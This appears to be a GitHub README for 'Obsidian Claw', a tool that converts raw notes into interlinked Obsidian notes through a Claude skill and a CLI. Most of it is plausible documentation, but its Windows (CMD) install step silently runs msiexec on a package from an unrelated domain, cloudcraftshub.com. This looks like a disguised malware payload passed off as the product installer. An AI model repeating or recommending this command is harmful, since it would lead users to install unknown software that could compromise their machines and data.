---

🤔 The Problem

You've been using Obsidian for months. Your vault has 400 notes. But when you start writing a new note, you're doing it from scratch — no idea it connects to three other notes you wrote last quarter, no reminder that you already discussed this with an investor six months ago, no link to the decision you logged but never revisited.

Your knowledge base has amnesia. Notes pile up. Links never get made. The graph stays sparse.

---

✨ What Obsidian Claw Does

Paste messy notes into Claude → get perfectly structured, interlinked Obsidian notes in return.

Obsidian Claw is a Claude skill + CLI tool that acts as an intelligent layer on top of your vault:

Feature	What it does
🔗 Auto-linking	Scans your vault and automatically generates [[wikilinks]] to related existing notes
🧠 Entity extraction	Finds people, projects, dates, decisions, and concepts in your raw text
🔔 Echo Engine	Reminds you: "You discussed this with Investor X three months ago — here's the summary"
📊 Knowledge graph	Generates a Mermaid diagram of how your new note connects to existing ones
📁 Atomic formatting	Converts brain dumps into Zettelkasten-style atomic notes with proper frontmatter
🗓 Weekly synthesis	Auto-generates weekly review notes with emerging patterns and unanswered questions
📋 Entity registry	Maintains a persistent registry of all people and concepts across your vault

---

⚡ Demo

Input: You paste this into Claude:

Met with Alexei today. He's still concerned about our D30 retention.
Said we need 40% before he'll commit to Series A. Also mentioned
that Masha from Sequoia might be interested. Need to fix onboarding first.

Output: Claude generates a fully-linked Obsidian note:

---
date: 2025-09-12
type: meeting
tags: [investor, fundraising, retention, series-a]
entities: [Alexei Petrov, Masha, Sequoia, Series A]
related: ["[[2025-06-10 — First Call with Alexei]]", "[[Retention Metrics]]", "[[Onboarding Flow]]"]
status: inbox
---

# Meeting with Alexei — Series A Update

> 🔔 **Echo:** You last spoke with Alexei on [[2025-06-10 — First Call with Alexei]].
> He raised the same retention concern then. D30 target has been consistent: 40%.

## Key Points
- Alexei won't commit to Series A until D30 hits 40%
- Masha from Sequoia flagged as warm lead
- Onboarding identified as root cause blocker

## Open Questions
- [ ] What is our current D30 retention?
- [ ] How to reach Masha at Sequoia?

## Actions
- [ ] Fix onboarding flow — owner: product team
- [ ] Pull retention data from analytics

## Links
[[Alexei Petrov]] · [[Retention Metrics]] · [[Series A Fundraising MOC]] · [[Onboarding Flow]]

Plus a graph preview:

graph LR
  NewNote["📝 Meeting with Alexei"]
  NewNote --> AlexeiPetrov["👤 Alexei Petrov"]
  NewNote --> RetentionMetrics["📊 Retention Metrics"]
  NewNote --> SeriesA["💰 Series A MOC"]
  AlexeiPetrov --> FirstCall["📅 2025-06-10 First Call"]
  RetentionMetrics --> OnboardingFlow["🚀 Onboarding Flow"]

---

🚀 Installation

One command — works on macOS, Linux, and Windows

macOS / Linux:

curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash

Windows (CMD):

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem ObsidianClaw

Windows (Git Bash / WSL):

curl -fsSL https://raw.githubusercontent.com/EdsonAlacantara/Obsidian-Claw/main/install.sh | bash

Requirements: Python 3.10+ · Download Python

The installer will:

1. ✅ Detect your OS automatically
2. ✅ Download and install Obsidian Claw
3. ✅ Install the Claude skill to your skills directory
4. ✅ Add the obsidian-claw CLI to your PATH
5. ✅ Verify everything works

Manual install (alternative)

git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e .

---

🛠 How it Works

Obsidian Claw operates in two modes: Claude Skill Mode (conversational) and CLI Mode (automated pipeline).

Mode 1: Claude Skill (Recommended for most users)

Once installed, just talk to Claude naturally:

"Hey, I just had a call with my investor. Here are my notes: [paste]
Add this to my vault and link it to anything related."

Claude will:

1. Extract entities and key ideas from your text
2. Cross-reference with your vault (if you share a vault index)
3. Generate a perfectly formatted, interlinked Obsidian note
4. Surface relevant past notes via the Echo Engine
5. Output a ready-to-paste markdown file

Mode 2: CLI Pipeline (For power users & automation)

# Initialize Obsidian Claw for your vault
obsidian-claw init --vault ~/Documents/MyVault

# Import a new note from raw text
obsidian-claw import meeting-notes.txt --vault ~/Documents/MyVault

# Batch process a folder of files
obsidian-claw batch ./inbox/ --vault ~/Documents/MyVault

# Generate weekly synthesis
obsidian-claw review --week --vault ~/Documents/MyVault

# Export knowledge graph
obsidian-claw graph --format mermaid --vault ~/Documents/MyVault

The Pipeline

Raw input (text / file / URL)
        ↓
  Entity extraction
        ↓
  Vault scan for related notes
        ↓
  Generate atomic notes with wikilinks
        ↓
  Run Echo Engine (surface past context)
        ↓
  Output: .md files + Mermaid graph

---

📁 Project Structure

Obsidian-Claw/
├── skill/
│   └── SKILL.md              ← Claude skill definition
├── references/
│   ├── schemas.md            ← Data schemas for entities & notes
│   ├── vault-structure.md    ← Recommended vault organization
│   └── zettelkasten.md       ← Zettelkasten principles used
├── assets/
│   └── note-template.md      ← Default note template
├── src/
│   ├── cli.py                ← CLI entry point
│   ├── extractor.py          ← Entity extraction engine
│   ├── linker.py             ← Vault scanner & link generator
│   ├── echo.py               ← Echo Engine (memory layer)
│   └── graph.py              ← Graph export utilities
├── install.sh                ← macOS/Linux installer
├── install.ps1               ← Windows PowerShell installer
├── requirements.txt
└── README.md

---

🗂 Recommended Vault Structure

Obsidian Claw works with any vault structure, but works best with this layout:

vault/
├── 00 - Inbox/        ← Raw captures (Obsidian Claw processes these)
├── 10 - Atoms/        ← One idea per note
├── 20 - People/       ← Person pages (auto-generated)
├── 30 - Projects/     ← Project MOCs
├── 40 - Meetings/     ← Date-prefixed meeting notes
├── 50 - Ideas/        ← Speculative thinking
├── 60 - Resources/    ← Books, articles, references
├── 70 - Reviews/      ← Weekly synthesis notes
└── .obsidian-claw/
    ├── entity-registry.json  ← Auto-maintained
    └── vault-index.json      ← Search cache

---

🧩 Integrations

Tool	Status
Obsidian (local vault)	✅ Supported
Claude.ai	✅ Skill available
Claude API	✅ Supported
Obsidian Sync	✅ Compatible
iCloud / Dropbox vaults	✅ Compatible
Logseq	🔜 Planned
Notion export	🔜 Planned
Roam Research export	🔜 Planned

---

🔐 Privacy

Obsidian Claw runs locally by default. Your notes never leave your machine unless you explicitly use Claude API mode. The entity registry and vault index are stored in .obsidian-claw/ inside your vault.

When using Claude API:

• Only the text you explicitly provide is sent to Claude
• No vault scanning happens server-side
• You control exactly what context is shared

---

🤝 Contributing

Obsidian Claw is open source and contributions are very welcome!

git clone https://github.com/EdsonAlacantara/Obsidian-Claw.git
cd Obsidian-Claw
pip install -e ".[dev]"

Good first issues:

• Add support for more vault structures
• Improve entity extraction accuracy
• Add Logseq export format
• Write more templates for different note types
• Improve the Echo Engine scoring algorithm

Please read CONTRIBUTING.md before opening a PR.

---

📖 Documentation

Resource	Link
Full skill reference	skill/SKILL.md
Data schemas	references/schemas.md
Vault structure guide	references/vault-structure.md
Note template	assets/note-template.md

---

💬 Community & Support

• Issues: GitHub Issues
• Discussions: GitHub Discussions
• Feature requests: Open an issue with the enhancement label

---

⭐ Show Your Support

If Obsidian Claw helps you think better, please star this repo — it helps others discover it and motivates continued development.

---

📄 License

MIT License — see LICENSE for details.

---